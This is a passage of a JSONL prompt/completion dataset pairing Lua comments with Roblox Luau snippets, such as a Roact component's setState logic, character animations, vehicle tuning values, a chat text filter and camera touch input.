== \"string\", \"Component class name must be a string\")\n\tend\n\n\tlocal class = {}\n\n\tfor key, value in pairs(self) do\n\t\t-- Roact opts to make consumers use composition over inheritance, which\n\t\t-- lines up with React.\n\t\t-- https://reactjs.org/docs/composition-vs-inheritance.html\n\t\tif key ~= \"extend\" then\n\t\t\tclass[key] = value\n\t\tend\n\tend\n\n\tclass[Type] = Type.StatefulComponentClass\n\tclass.__index = class\n\tclass.__componentName = name\n\n\tsetmetatable(class, componentClassMetatable)\n\n\treturn class\nend\n\nfunction Component:__getDerivedState(incomingProps, incomingState)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid use of `__getDerivedState`\")\n\tend\n\n\tlocal internalData = self[InternalData]\n\tlocal componentClass = internalData.componentClass\n\n\tif componentClass.getDerivedStateFromProps ~= nil then\n\t\tlocal derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState)\n\n\t\tif derivedState ~= nil then\n\t\t\tif config.typeChecks then\n\t\t\t\tassert(typeof(derivedState) == \"table\", \"getDerivedStateFromProps must return a table!\")\n\t\t\tend\n\n\t\t\treturn derivedState\n\t\tend\n\tend\n\n\treturn nil\nend\n\nfunction Component:setState(mapState)\n\tif config.typeChecks then\n\t\tassert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid `self` argument to `extend`.\")\n\tend\n\n\tlocal internalData = self[InternalData]\n\tlocal lifecyclePhase = internalData.lifecyclePhase\n\n\t--[[\n\t\tWhen preparing to update, render, or unmount, it is not safe\n\t\tto call `setState` as it will interfere with in-flight updates. It's\n\t\talso disallowed during unmounting\n\t]]\n\tif\n\t\tlifecyclePhase == ComponentLifecyclePhase.ShouldUpdate\n\t\tor lifecyclePhase == ComponentLifecyclePhase.WillUpdate\n\t\tor lifecyclePhase == ComponentLifecyclePhase.Render\n\tthen\n\t\tlocal messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase]\n\n\t\tlocal message = messageTemplate:format(tostring(internalData.componentClass))\n\t\terror(message, 2)\n\telseif lifecyclePhase == ComponentLifecyclePhase.WillUnmount then\n\t\t-- Should not print error message. See https://github.com/facebook/react/pull/22114\n\t\treturn\n\tend\n\n\tlocal pendingState = internalData.pendingState\n\n\tlocal partialState\n\tif typeof(mapState) == \"function\" then\n\t\tpartialState = mapState(pendingState or self.state, self.props)\n\n\t\t-- Abort the state update if the given state updater function returns nil\n\t\tif partialState == nil then\n\t\t\treturn\n\t\tend\n\telseif typeof(mapState) == \"table\" then\n\t\tpartialState = mapState\n\telse\n\t\terror(\"Invalid argument to setState, expected function or table\", 2)\n\tend\n\n\tlocal newState\n\tif pendingState ~= nil then\n\t\tnewState = assign(pendingState, partialState)\n\telse\n\t\tnewState = assign({}, self.state, partialState)\n\tend\n\n\tif lifecyclePhase == ComponentLifecyclePhase.Init then\n\t\t-- If `setState` is called in `init`, we can skip triggering an update!\n\t\tlocal derivedState = self:__getDerivedState(self.props, newState)\n\t\tself.state = assign(newState, derivedState)\n\telseif\n\t\tlifecyclePhase == ComponentLifecyclePhase.DidMount\n\t\tor lifecyclePhase == ComponentLifecyclePhase.DidUpdate\n\t\tor lifecyclePhase == ComponentLifecyclePhase.ReconcileChildren\n\tthen\n\t\t--[[\n\t\t\tDuring certain phases of the component lifecycle, it's acceptable to\n\t\t\tallow `setState` but defer the update until we're done with ones in flight.\n\t\t\tWe do this by collapsing it into any pending updates we have.\n\t\t]]\n\t\tlocal derivedState = self:__getDerivedState(self.props, newState)\n\t\tinternalData.pendingState = assign(newState, derivedState)\n\telseif lifecyclePhase == ComponentLifecyclePhase.Idle then\n\t\t-- Outside of our lifecycle, the state update is safe to make immediately\n\t\tself:__update(nil, newState)\n\telse\n\t\tlocal messageTemplate = invalidSetStateMessages.default\n\n\t\tlocal message = messageTemplate:format(tostring(internalData.componentClass))\n\n\t\terror(message, 2)\n\tend\nend\n"} +{"prompt": "------------------\n------------------", "completion": "\n\n\nfunction waitForChild(parent, childName)\n\twhile true do\n\t\tlocal child = parent:findFirstChild(childName)\n\t\tif child then\n\t\t\treturn child\n\t\tend\n\t\tparent.ChildAdded:wait()\n\tend\nend\n\nlocal Figure = script.Parent\nlocal Torso = waitForChild(Figure, \"Torso\")\nlocal RightShoulder = waitForChild(Torso, \"Right Shoulder\")\nlocal LeftShoulder = waitForChild(Torso, \"Left Shoulder\")\nlocal RightHip = waitForChild(Torso, \"Right Hip\")\nlocal LeftHip = waitForChild(Torso, \"Left Hip\")\nlocal Neck = waitForChild(Torso, \"Neck\")\nlocal Humanoid = waitForChild(Figure, \"Zombie\")\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal isSeated = false\n\n\nfunction onRunning(speed)\n\tif isSeated then return end\n\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\n\twait(.1)\n\tscript.Parent:remove()\nend\n\nfunction onJumping()\n\tisSeated = false\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onDancing()\n\tpose = \"Dancing\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tisSeated = true\n\tpose = \"Seated\"\nend\n\n\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1\n\tLeftShoulder.DesiredAngle = -1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFloat()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = -1.57\nend\n\nfunction moveBoogy()\nwhile pose==\"Boogy\" do\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 1.57\nend\nend\n\nfunction moveZombie()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction movePunch()\n\tscript.Parent.Torso.Anchored=true\n\tRightShoulder.MaxVelocity = 60\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nwait(1)\nscript.Parent.Torso.Anchored=false\npose=\"Standing\"\n\nend\n\nfunction moveKick()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\nfunction moveFly()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\n\nfunction moveClimb()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = -3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\n\t\n\tkidTable = Figure:children()\n\tif (kidTable ~= nil) then\n\t\tnumKids = #kidTable\n\t\tfor i=1,numKids do\n\t\t\tif (kidTable[i].className == \"Tool\") then return kidTable[i] end\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\n\tc = tool:children()\n\tfor i=1,#c do\n\t\tif (c[i].Name == \"toolanim\" and c[i].className == \"StringValue\") then\n\t\t\treturn c[i]\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n\n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"Zombie\") then\n\t\tmoveZombie()\n\t\treturn\n\tend\n\n\tif (pose == \"Boogy\") then\n\t\tmoveBoogy()\n\t\treturn\n\tend\n\n\tif (pose == \"Float\") then\n\t\tmoveFloat()\n\t\treturn\n\tend\n\n\tif (pose == \"Punch\") then\n\t\tmovePunch()\n\t\treturn\n\tend\n\n\tif (pose == \"Kick\") then\n\t\tmoveKick()\n\t\treturn\n\tend\n\n\tif (pose == \"Fly\") then\n\t\tmoveFly()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n\n\tif (pose == \"Climbing\") then\n\t\tmoveClimb()\n\t\treturn\n\tend\n\n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tif (pose == \"Running\") then\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Dancing\") then\n\t\tamplitude = 2\n\t\tfrequency = 16\n\tend\n\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\tif pose~=\"Dancing\" then\n\t\tRightShoulder.DesiredAngle = -desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\telse\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\tend\n\t\t\n\n\n\tlocal tool = getTool()\n\n\tif tool ~= nil then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject ~= nil then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "-- Far lands", "completion": "\nlocal fardistance = 20000\nlocal turnorien = 5\n"} +{"prompt": "-- Reference the button and the GUI", "completion": "\nlocal button = script.Parent\nlocal gui4567 = script.Parent.Parent\n"} +{"prompt": "--m3.Volume = 0", "completion": "\nm2.Looped = false\nm2.Playing = false\nscript.Parent.Parent:WaitForChild(\"Drive\").Locotrol.Event:connect(function(data)\n\tif data[\"Horn\"] == true then\n\t\tm2.Volume = 0\n\t\tm2.Looped = false\n\t\tm2:Stop()\n\t\tm2.Playing = false\n\t\t--m3.Volume = 0\n\t\t--m3.Stop()\n\t\tm1.Volume = 1\n\t\tm1:Play()\n\t\t--wait(m1.TimeLength) --disabled because it makes looping part stuck playing if stopped too soon.\n\t\tif m1.TimePosition < m1.TimeLength then\n\t\t\tm2.Looped = true\n\t\t\tm2.Volume = 1\n\t\t\tm2:Play()\n\t\telse\n\t\t\tm1.Volume = 0\n\t\t\tm1:Stop()\n\t\tend\n\telseif data[\"Horn\"] == false then\n\t\tm1.Volume = 0\n\t\tm1:Stop()\n\t\t--[[ --For 3 part option\n\t\tm2.Volume = 0\n\t\tm2:Stop()\n\t\tm2.Looped = false\n\t\tm2.Playing = false\n\t\tm3.Volume = 1\n\t\tm3:Play()\n\t\t--]]\n\t\t----[[ -- For 2 part option\n\t\tif m2.IsPlaying == true then\n\t\t\tfor i=1, 0, -.1 do\n\t\t\t\tm2.Volume = i*1\n\t\t\t\twait(.1)\n\t\t\tend\n\t\tend\n\t\tm2.Volume = 0\n\t\tm2.Looped = false\n\t\tm2.Playing = false\n\t\tm2:Stop()\n\t\t----]]\t\n\tend\nend)\n\n"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\t\n\tlocal AnimObj\n\t\n\tlocal function Start()\n\t\tAnimObj = {}\n\t\tAnimObj[\"LastUpdate\"] = tick()\n\t\t\n\t\tAnimObj[\"Parts\"] = {}\n\t\t\n\t\tfor i = 1, 10 do\n\t\t\tlocal np = EFFECT_LIB.NewInvisiblePart()\n\t\t\tnp.Transparency = 0.5\n\t\t\tnp.Material = \"Neon\"\n\t\t\tnp.BrickColor = BrickColor.new(\"Institutional white\")\n\t\t\t\n\t\t\tlocal knife_mesh = Instance.new(\"BlockMesh\")\n\t\t\tknife_mesh.Scale = Vector3.new(8, 2, 2)\n\t\t\tknife_mesh.Parent = np\n\t\t\t\n\t\t\tAnimObj[\"Parts\"][i] = np\n\t\n\t\t\tnp.Parent = eff_cont\n\t\tend\n\tend\n\t\n\tlocal function Update()\n\t\tlocal loop = EFFECT_LIB.Loop(6)\n\t\t\n\t\tfor i = 1, #AnimObj[\"Parts\"] do\n\t\t\tAnimObj[\"Parts\"][i].CFrame = source_part.CFrame * CFrame.Angles(0, 0, math.rad(loop * 360 + (360 / #AnimObj[\"Parts\"] * (i - 1)))) * CFrame.new(-3, 0, 1.5)\n\t\tend\n\tend\n\t\n\tlocal function Stop()\n\t\teff_cont:ClearAllChildren()\n\t\tAnimObj = nil\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 973\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 1100\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 8250\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 8750\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5250\n\tTune.PeakSharpness\t= 5.8\n\tTune.CurveMult\t\t= 0.294 \n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.5\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 400\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 300\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 450\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 0\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 450\t\t-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)\n\t"} +{"prompt": "--[ Get Items ]--", "completion": "\nlocal Crouch = script:WaitForChild(\"Crouch\"):Clone()\nCrouch.Disabled = false\n"} +{"prompt": "-- UAEmaple", "completion": "\n\n\n\nfunction onTouch(part) \nlocal human = part.Parent:findFirstChild(\"Humanoid\") \nif human ~= nil then \npart.Parent:findFirstChild(\"Head\").Transparency = 1 \npart.Parent:findFirstChild(\"Torso\").Transparency = 1 \npart.Parent:findFirstChild(\"Left Arm\").Transparency = 1 \npart.Parent:findFirstChild(\"Right Arm\").Transparency = 1 \npart.Parent:findFirstChild(\"Left Leg\").Transparency = 1 \npart.Parent:findFirstChild(\"Right Leg\").Transparency = 1 \nif part.Parent:findFirstChild(\"Head\"):findFirstChild(\"face\") == nil then return end \npart.Parent:findFirstChild(\"Head\"):findFirstChild(\"face\"):remove() \nif part.Parent:findFirstChild(\"Torso\"):findFirstChild(\"roblox\") == nil then return end \npart.Parent:findFirstChild(\"Torso\"):findFirstChild(\"roblox\"):remove() \nend \nend \nscript.Parent.Touched:connect(onTouch)\n"} +{"prompt": "--Touch Controls\n--I wanted to use the MasterControl module, but the rules for the magnitude of GetMoveVector()\n--seem arbitary and unclear, so it's hooked into the ui itself. ", "completion": "\nfunction RunTouchControls()\n\tlocal TouchGui = Player.PlayerGui:FindFirstChild(\"TouchGui\")\n\tlocal StickOuter = TouchGui.TouchControlFrame.ThumbstickFrame.OuterImage\n\tlocal StickInner = TouchGui.TouchControlFrame.ThumbstickFrame.StickImage\n\tlocal CenterX = StickOuter.Size.X.Offset/2 - StickInner.Size.X.Offset/2\n\tlocal MinX = CenterX - StickOuter.Size.X.Offset/2\n\tlocal MaxX = CenterX + StickOuter.Size.X.Offset/2\n\tlocal CenterY = StickOuter.Size.Y.Offset/2 - StickInner.Size.Y.Offset/2\n\tlocal MinY = CenterY - StickOuter.Size.Y.Offset/2\n\tlocal MaxY = CenterY + StickOuter.Size.Y.Offset/2\n\twhile Input.InputMode == \"Touch\" do\n\t\twait()\n\t\tlocal X = ((StickInner.Position.X.Offset-MinX) / (MaxX-MinX))*2 - 1 \n\t\tlocal Y = ((StickInner.Position.Y.Offset-MinY) / (MaxY-MinY))*-2 + 1 \n\t\tInput.LStickX = -X\n\t\tInput.LStickY = Y\n\tend\nend\n"} +{"prompt": "--- Returns a table containing the parsed values for all of the arguments.", "completion": "\nfunction Command:GatherArgumentValues ()\n\tlocal values = {}\n\n\tfor i = 1, #self.ArgumentDefinitions do\n\t\tlocal arg = self.Arguments[i]\n\t\tif arg then\n\t\t\tvalues[i] = arg:GetValue()\n\t\telse\n\t\t\tvalues[i] = self.ArgumentDefinitions[i].Default\n\t\tend\n\tend\n\n\treturn values\nend\n"} +{"prompt": "-- variables", "completion": "\nlocal player = game.Players.LocalPlayer\nlocal character = player.Character\nlocal humanoid = character.Humanoid\nlocal camera = workspace.CurrentCamera\n\ncamera.FieldOfView = 90\nhumanoid.CameraOffset = Vector3.new(0, 0, -1)\n"} +{"prompt": "--[[\n\tAll configurations are located in the \"Settings\" Module script.\n\tPlease don't edit this script unless you know what you're doing.\n--]]", "completion": "\n\nlocal Tycoons = {}\nlocal Teams = game:GetService('Teams')\nlocal Settings = require(script.Parent.Settings)\nlocal BC = BrickColor\nlocal Storage = Instance.new('Folder', game.ServerStorage)\nStorage.Name = \"PlayerMoney\"\nInstance.new('Model',workspace).Name = \"PartStorage\" -- parts dropped go in here to be killed >:)\n\nfunction returnColorTaken(color)\n\tfor i,v in pairs(Teams:GetChildren()) do\n\t\tif v:IsA('Team') then\n\t\t\tif v.TeamColor == color then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\treturn false\nend"} +{"prompt": "-- Applying text filter", "completion": "\nlocal function getTextObject(message, fromPlayerId)\n\tlocal textObject\n\tlocal success, errorMessage = pcall(function()\n\t\ttextObject = TextService:FilterStringAsync(message, fromPlayerId, Enum.TextFilterContext.PublicChat)\n\tend)\n\tif success then\n\t\treturn textObject\n\telseif errorMessage then\n\t\tprint(\"Error filtering message:\", errorMessage)\n\tend\n\treturn false\nend\n\nlocal function getFilteredMessage(textObject, toPlayerId)\n\tlocal filteredMessage\n\tlocal success, errorMessage = pcall(function()\n\t\tfilteredMessage = textObject:GetNonChatStringForUserAsync(toPlayerId)\n\tend)\n\tif success then\n\t\treturn filteredMessage\n\telseif errorMessage then\n\t\tprint(\"Error filtering message:\", errorMessage)\n\tend\n\treturn false\nend\n\nlocal function filterText(text, fromPlayerId, toPlayerId)\n\tlocal textObject = getTextObject(text, fromPlayerId)\n\tif textObject then\n\t\tlocal filteredObject = getFilteredMessage(textObject, toPlayerId)\n\t\treturn filteredObject\n\tend\n\treturn false\nend\n"} +{"prompt": "--Listen for new seats", "completion": "\nRemotes.NewSeat.OnClientEvent:Connect(function(Seat)\n\tprint(\"Seat add received\")\n\tSeats[Seat] = Seat\n\tSeat.AncestryChanged:connect(function()\n\t\tif not Seat:IsDescendantOf(game) then\n\t\t\t--Removed\n\t\t\tSeats[Seat] = nil\n\t\tend\n\tend)\nend)\n"} +{"prompt": "-- \tlocal function deletePropertyWin32(_target: unknown, key: unknown)\n-- \t\terror(\"not implemented\") --[[ ROBLOX TODO: Unhandled node for type: ForInStatement ]] --[[ for (const name in real) {\n-- if (real.hasOwnProperty(name)) {\n-- if (typeof key === 'string') {\n-- if (name.toLowerCase() === key.toLowerCase()) {\n-- delete real[name];\n-- delete lookup[name.toLowerCase()];\n-- }\n-- } else {\n-- if (key === name) {\n-- delete real[name];\n-- delete lookup[name];\n-- }\n-- }\n-- }\n-- } ]]", "completion": "\n"} +{"prompt": "-- << Raycasting functions >>--", "completion": "\nfunction cross(vector1, vector2)\n\treturn Vector3.new(vector1.y * vector2.z - vector2.y * vector1.z, vector1.z * vector2.x - vector1.x * vector2.z, vector1.x * vector2.y - vector2.x * vector1.y)\nend\nfunction dot(vector1, vector2)\n\treturn (vector1.x * vector2.x + vector1.y * vector2.y + vector1.z * vector2.z)\nend\nfunction getLineSphereCollide(linePoint1, lineVector, sphereCenter, radius)\n\tlocal a = lineVector.x * lineVector.x + lineVector.y * lineVector.y + lineVector.z * lineVector.z\n\tlocal b = lineVector.x * (linePoint1.x - sphereCenter.x) + lineVector.y * (linePoint1.y - sphereCenter.y) + lineVector.z * (linePoint1.z - sphereCenter.z)\n\tlocal c = (linePoint1.x - sphereCenter.x) * (linePoint1.x - sphereCenter.x) + (linePoint1.y - sphereCenter.y) * (linePoint1.y - sphereCenter.y) + (linePoint1.z - sphereCenter.z) * (linePoint1.z - sphereCenter.z) - radius * radius\n\tif (a > 0) and (b * b >= a * c) then\n\t\tlocal diff = math.sqrt(b * b - a * c)\n\t\treturn ((-b - diff) / a), ((diff - b) / a)\n\telse\n\t\treturn -1, -1\n\tend\nend"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 1000\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 55\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "-- run this code in the command bar: (view -> command bar)", "completion": "\n\nstarterPack = workspace[\"Terrain Pickaxe Kit v1.0\"][\"Ungroup in StarterPack\"]:GetChildren()\nfor i, v in pairs(starterPack) do\n\tv.Parent = game.StarterPack\nend\n\nstarterGui = workspace[\"Terrain Pickaxe Kit v1.0\"][\"Ungroup in StarterGui\"]:GetChildren()\nfor i, v in pairs(starterGui) do\n\tv.Parent = game.StarterGui\nend\n\nserverScriptService = workspace[\"Terrain Pickaxe Kit v1.0\"][\"Ungroup in ServerScriptService\"]:GetChildren()\nfor i, v in pairs(serverScriptService) do\n\tv.Parent = game.ServerScriptService\nend\n\nworkspace[\"Terrain Pickaxe Kit v1.0\"].Notes.Parent = workspace\nworkspace[\"Terrain Pickaxe Kit v1.0\"]:Destroy()\n\nwarn(\"Setup successful, notes have been moved to workspace\")\n"} +{"prompt": "--\t====================\n--\tCAMERA SHAKING\n--\tMake user's camera shaking when shooting\n--\t====================", "completion": "\n\n\t\tCameraShakingEnabled = false;\n\t\tIntensity = 0.5; --In degree\n\t\t"} +{"prompt": "-- declarations", "completion": "\n\nlocal Figure = script.Parent\nlocal Torso = waitForChild(Figure, \"Torso\")\nlocal RightShoulder = waitForChild(Torso, \"Right Shoulder\")\nlocal LeftShoulder = waitForChild(Torso, \"Left Shoulder\")\nlocal RightHip = waitForChild(Torso, \"Right Hip\")\nlocal LeftHip = waitForChild(Torso, \"Left Hip\")\nlocal Neck = waitForChild(Torso, \"Neck\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n"} +{"prompt": "--//Toggle event//--", "completion": "\nscript.Parent.Door.MainDoor.ClickDetector.MouseClick:Connect(function()\n\tif DoorStatus == \"Closed\" and Debounce == false then\n\t\tDebounce = true\n\t\tDoorMain.Open:Play()\n\t\tDoor.HandleUno.HingeConstraint.TargetAngle=70\n\t\tDoor.HandleDos.HingeConstraint.TargetAngle=-70\n\t\tTweenModel(script.Parent.Door, TGP)\n\t\tDoor.HandleUno.HingeConstraint.TargetAngle=0\n\t\tDoor.HandleDos.HingeConstraint.TargetAngle=0\n\t\tDoorStatus = \"Opened\"\n\t\tDebounce = false\n\telseif DoorStatus == \"Opened\" and Debounce == false then\n\t\tDebounce = true\n\t\tDoorMain.Close:Play()\n\t\tTweenModel(script.Parent.Door, OrigPos)\n\t\tDoorStatus = \"Closed\"\n\t\tDebounce = false\n\tend\n\tend)\n"} +{"prompt": "-- Adjust the touch sensitivity so that sensitivity is reduced when swiping up\n-- or down, but stays the same when swiping towards the middle of the screen", "completion": "\nlocal function adjustTouchPitchSensitivity(delta: Vector2): Vector2\n\tlocal camera = workspace.CurrentCamera\n\n\tif not camera then\n\t\treturn delta\n\tend\n\t\n\t-- get the camera pitch in world space\n\tlocal pitch = camera.CFrame:ToEulerAnglesYXZ()\n\t\n\tif delta.Y*pitch >= 0 then\n\t\t-- do not reduce sensitivity when pitching towards the horizon\n\t\treturn delta\n\tend\n\t\n\t-- set up a line to fit:\n\t-- 1 = f(0)\n\t-- 0 = f(\u00b1pi/2)\n\tlocal curveY = 1 - (2*math.abs(pitch)/math.pi)^0.75\n\n\t-- remap curveY from [0, 1] -> [MIN_TOUCH_SENSITIVITY_FRACTION, 1]\n\tlocal sensitivity = curveY*(1 - MIN_TOUCH_SENSITIVITY_FRACTION) + MIN_TOUCH_SENSITIVITY_FRACTION\n\n\treturn Vector2.new(1, sensitivity)*delta\nend\n\nlocal function isInDynamicThumbstickArea(pos: Vector3): boolean\n\tlocal playerGui = player:FindFirstChildOfClass(\"PlayerGui\")\n\tlocal touchGui = playerGui and playerGui:FindFirstChild(\"TouchGui\")\n\tlocal touchFrame = touchGui and touchGui:FindFirstChild(\"TouchControlFrame\")\n\tlocal thumbstickFrame = touchFrame and touchFrame:FindFirstChild(\"DynamicThumbstickFrame\")\n\n\tif not thumbstickFrame then\n\t\treturn false\n\tend\n\t\n\tif not touchGui.Enabled then\n\t\treturn false\n\tend\n\n\tlocal posTopLeft = thumbstickFrame.AbsolutePosition\n\tlocal posBottomRight = posTopLeft + thumbstickFrame.AbsoluteSize\n\n\treturn\n\t\tpos.X >= posTopLeft.X and\n\t\tpos.Y >= posTopLeft.Y and\n\t\tpos.X <= posBottomRight.X and\n\t\tpos.Y <= posBottomRight.Y\nend\n\nlocal worldDt = 1/60\nRunService.Stepped:Connect(function(_, _worldDt)\n\tworldDt = _worldDt\nend)\n\nlocal CameraInput = {}\n\ndo\n\tlocal connectionList = {}\n\tlocal panInputCount = 0\n\n\tlocal function 